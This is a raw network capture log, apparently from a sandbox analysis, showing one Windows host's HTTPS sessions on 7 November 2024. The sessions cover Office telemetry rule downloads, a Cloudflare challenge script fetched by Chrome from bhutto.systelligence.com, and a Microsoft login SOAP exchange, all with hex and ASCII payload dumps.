Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 18242d92-601e-005c-0fb0-2ff06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-15869dbbcc6kg5mvhC1DFW74ts000000029000000000mbxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-16547b76f7f67wxlhC1DFWah9w00000008q000000000qfh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:32 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d1dd2055-c01e-007a-6182-30b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-17df447cdb5l865xhC1DFW9n7g00000001yg00000000eegx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49791	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	412	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js? HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:32 UTC	886	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8144 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kLuOoNdy7E%2F4QBqeCoBZ8%2Fri3z%2Bo3Qtvfdi7N8bX0%2B63pJp1L6gG8BqflmD0vixdIR1yz%2Fj2J9b3GbTxo1dVXI6h%2FnRxPCxG0wBPFwa5nthdknT1%2B867ZD37U1tPlCTKzEfZ1jW8pwr1CSQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd9abb8f4630-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1898&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=990&delivery_rate=1498964&cwnd=243&unsent_bytes=0&cid=22dbc97426efb5e8&ts=160&x=0"
2024-11-07 22:47:32 UTC	483	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 73 2c 76 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 65 2c 55 2c 66 2c 67 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 67 3d 2d 70 61 72 73 65 49 6e 74 28 55 28 31 37 31 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 31 35 32 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 31 33 36 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 32 33 34 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 31 36 32 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 32 32 30 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 32 30 35 29 29 2f 37 29 2b Data Ascii: window._cf_chl_opt={cFPWv:'b'};~function(V,h,i,j,k,l,s,v){V=b,function(c,e,U,f,g){for(U=b,f=c();!![];)try{if(g=-parseInt(U(171))/1(parseInt(U(152))/2)+parseInt(U(136))/3+-parseInt(U(234))/4(-parseInt(U(162))/5)+-parseInt(U(220))/6*(-parseInt(U(205))/7)+
2024-11-07 22:47:32 UTC	1369	IN	Data Raw: 20 57 3d 56 2c 65 3d 53 74 72 69 6e 67 5b 57 28 32 30 34 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 44 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 44 3f 27 27 3a 66 2e 67 28 44 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 58 29 7b 72 65 74 75 72 6e 20 58 3d 62 2c 58 28 31 39 30 29 5b 58 28 31 33 37 29 5d 28 45 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 59 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 53 2c 54 29 7b 69 66 28 59 3d 57 2c 44 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 48 3d 7b 7d 2c 49 3d 7b 7d 2c 4a 3d 27 27 2c 4b 3d 32 2c 4c 3d 33 2c 4d 3d 32 2c 4e 3d 5b 5d 2c 4f 3d 30 2c 50 3d 30 2c 51 3d 30 3b 51 3c 44 5b 59 28 32 31 31 29 5d 3b 51 2b 3d 31 29 69 66 28 Data Ascii: W=V,e=String[W(204)],f={'h':function(D){return null==D?'':f.g(D,6,function(E,X){return X=b,X(190)[X(137)](E)})},'g':function(D,E,F,Y,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(Y=W,D==null)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[Y(211)];Q+=1)if(
2024-11-07 22:47:32 UTC	1369	IN	Data Raw: 32 2c 4d 29 2c 4d 2b 2b 29 2c 64 65 6c 65 74 65 20 49 5b 4a 5d 7d 65 6c 73 65 20 66 6f 72 28 54 3d 48 5b 4a 5d 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 54 26 31 2e 38 39 7c 4f 3c 3c 31 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 59 28 31 36 31 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 4b 2d 2d 2c 4b 3d 3d 30 26 26 4d 2b 2b 7d 66 6f 72 28 54 3d 32 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 31 26 54 7c 4f 3c 3c 31 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 59 28 31 36 31 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 4f 3c 3c 3d 31 2c 45 2d 31 3d 3d 50 29 7b 4e 5b 59 28 31 36 31 29 5d 28 46 28 4f 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 50 2b 2b 3b 72 65 74 Data Ascii: 2,M),M++),delete I[J]}else for(T=H[J],G=0;G<M;O=T&1.89\|O<<1,P==E-1?(P=0,N[Y(161)](F(O)),O=0):P++,T>>=1,G++);K--,K==0&&M++}for(T=2,G=0;G<M;O=1&T\|O<<1,E-1==P?(P=0,N[Y(161)](F(O)),O=0):P++,T>>=1,G++);for(;;)if(O<<=1,E-1==P){N[Y(161)](F(O));break}else P++;ret
2024-11-07 22:47:32 UTC	1369	IN	Data Raw: 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 4b 5b 61 31 28 31 36 31 29 5d 28 54 29 2c 47 5b 49 2b 2b 5d 3d 4c 2b 54 5b 61 31 28 31 33 37 29 5d 28 30 29 2c 48 2d 2d 2c 4c 3d 54 2c 48 3d 3d 30 26 26 28 48 3d 4d 61 74 68 5b 61 31 28 31 32 38 29 5d 28 32 2c 4a 29 2c 4a 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 57 28 31 35 37 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 6b 3d 7b 7d 2c 6b 5b 56 28 31 33 38 29 5d 3d 27 6f 27 2c 6b 5b 56 28 32 31 36 29 5d 3d 27 73 27 2c 6b 5b 56 28 31 39 34 29 5d 3d 27 75 27 2c 6b 5b 56 28 32 31 34 29 5d 3d 27 7a 27 2c 6b 5b 56 28 31 39 32 29 5d 3d 27 6e 27 2c 6b 5b 56 28 32 33 31 29 5d 3d 27 49 27 2c 6b 5b 56 28 31 34 30 29 5d 3d 27 62 27 2c 6c 3d 6b 2c 68 5b 56 28 31 33 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 44 2c 45 2c Data Ascii: ;else return null;K[a1(161)](T),G[I++]=L+T[a1(137)](0),H--,L=T,H==0&&(H=Math[a1(128)](2,J),J++)}}},g={},g[W(157)]=f.h,g}(),k={},k[V(138)]='o',k[V(216)]='s',k[V(194)]='u',k[V(214)]='z',k[V(192)]='n',k[V(231)]='I',k[V(140)]='b',l=k,h[V(139)]=function(g,D,E,
2024-11-07 22:47:32 UTC	1369	IN	Data Raw: 27 2c 45 29 2c 45 3d 66 66 45 67 65 34 28 44 2c 67 5b 61 39 28 31 33 31 29 5d 2c 27 64 2e 27 2c 45 29 2c 69 5b 61 39 28 31 36 39 29 5d 5b 61 39 28 31 35 34 29 5d 28 67 29 2c 46 3d 7b 7d 2c 46 2e 72 3d 45 2c 46 2e 65 3d 6e 75 6c 6c 2c 46 7d 63 61 74 63 68 28 48 29 7b 72 65 74 75 72 6e 20 47 3d 7b 7d 2c 47 2e 72 3d 7b 7d 2c 47 2e 65 3d 48 2c 47 7d 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 65 2c 63 2c 65 2c 66 2c 67 29 7b 69 66 28 61 65 3d 56 2c 63 3d 68 5b 61 65 28 31 34 37 29 5d 2c 21 63 29 72 65 74 75 72 6e 3b 69 66 28 21 7a 28 29 29 72 65 74 75 72 6e 3b 28 65 3d 21 5b 5d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 66 2c 44 29 7b 28 61 66 3d 61 65 2c 21 65 29 26 26 28 65 3d 21 21 5b 5d 2c 44 3d 78 28 29 2c 41 28 63 2e 72 2c 44 2e 72 29 2c 44 2e 65 26 26 42 28 61 Data Ascii: ',E),E=ffEge4(D,g[a9(131)],'d.',E),i[a9(169)][a9(154)](g),F={},F.r=E,F.e=null,F}catch(H){return G={},G.r={},G.e=H,G}}function C(ae,c,e,f,g){if(ae=V,c=h[ae(147)],!c)return;if(!z())return;(e=![],f=function(af,D){(af=ae,!e)&&(e=!![],D=x(),A(c.r,D.r),D.e&&B(a
2024-11-07 22:47:32 UTC	1369	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 2c 72 65 70 6c 61 63 65 2c 30 2e 33 39 39 39 39 37 33 35 36 37 31 34 35 39 32 33 3a 31 37 33 31 30 31 38 33 39 32 3a 56 4e 59 71 54 65 34 73 45 79 73 69 59 38 54 49 36 53 42 31 75 64 76 46 6c 4a 48 58 4b 35 58 4f 4b 33 71 6a 46 6a 63 5a 62 5f 77 2c 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 31 39 35 39 37 39 50 49 69 6e 49 78 2c 6a 6f 69 6e 2c 73 65 6e 64 2c 61 70 70 65 6e 64 43 68 69 6c 64 2c 53 65 74 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 4c 48 42 66 6f 34 3b 48 66 6c 6c 6c 33 3b 68 48 66 6a 61 34 3b 48 55 49 70 73 34 3b 64 53 59 57 34 3b 43 4b 46 56 4f 31 3b 62 6f 73 78 37 3b 52 6d 42 78 34 3b 63 6c 4a 6f 32 3b 78 61 66 Data Ascii: ventListener,application/x-www-form-urlencoded,replace,0.3999973567145923:1731018392:VNYqTe4sEysiY8TI6SB1udvFlJHXK5XOK3qjFjcZb_w,fromCharCode,195979PIinIx,join,send,appendChild,Set,_cf_chl_opt;LHBfo4;Hflll3;hHfja4;HUIps4;dSYW4;CKFVO1;bosx7;RmBx4;clJo2;xaf
2024-11-07 22:47:32 UTC	816	IN	Data Raw: 3b 4b 3d 61 64 28 31 38 33 29 2c 4c 3d 7b 7d 2c 4c 5b 61 64 28 31 37 39 29 5d 3d 68 5b 61 64 28 32 33 30 29 5d 5b 61 64 28 31 37 39 29 5d 2c 4c 5b 61 64 28 31 36 35 29 5d 3d 68 5b 61 64 28 32 33 30 29 5d 5b 61 64 28 31 36 35 29 5d 2c 4c 5b 61 64 28 31 34 35 29 5d 3d 68 5b 61 64 28 32 33 30 29 5d 5b 61 64 28 31 34 35 29 5d 2c 4c 5b 61 64 28 31 33 35 29 5d 3d 68 5b 61 64 28 32 33 30 29 5d 5b 61 64 28 31 36 38 29 5d 2c 4d 3d 4c 2c 4a 5b 61 64 28 32 31 33 29 5d 28 4b 2c 49 2c 21 21 5b 5d 29 2c 4a 5b 61 64 28 32 32 36 29 5d 3d 32 35 30 30 2c 4a 5b 61 64 28 31 37 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 4a 5b 61 64 28 31 36 37 29 5d 28 61 64 28 31 37 35 29 2c 61 64 28 32 30 31 29 29 2c 4e 3d 7b 7d 2c 4e 5b 61 64 28 32 33 39 29 5d 3d 47 2c 4e 5b 61 64 Data Ascii: ;K=ad(183),L={},L[ad(179)]=h[ad(230)][ad(179)],L[ad(165)]=h[ad(230)][ad(165)],L[ad(145)]=h[ad(230)][ad(145)],L[ad(135)]=h[ad(230)][ad(168)],M=L,J[ad(213)](K,I,!![]),J[ad(226)]=2500,J[ad(178)]=function(){},J[ad(167)](ad(175),ad(201)),N={},N[ad(239)]=G,N[ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49785	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-07 22:47:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:32 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: 3dbbd268-ea53-474f-b8b7-5d3fb212bf2f PPServer: PPV: 30 H: SN1PEPF0002F177 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:32 GMT Connection: close Content-Length: 11392
2024-11-07 22:47:32 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49793	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	401	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:32 UTC	734	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FuwX4Xm%2FU1LYBWSNbvFT1WeC60%2F7nL1IYUA3XmrqsrYuzz%2Fa%2FQsoxpZyR8oAb4sMck8qqM0MiIY1%2B7EYiEZixz6OgK0nY60tLd6HBLu0aO3YUuEDKAl7uV2ihyyfXHaDj%2BOa5OqZynXn1b4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd9e7db7ddad-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1255&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=979&delivery_rate=1525816&cwnd=175&unsent_bytes=0&cid=5148b74aed4399f1&ts=176&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-16547b76f7fp6mhthC1DFWrggn00000008zg000000001dbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" 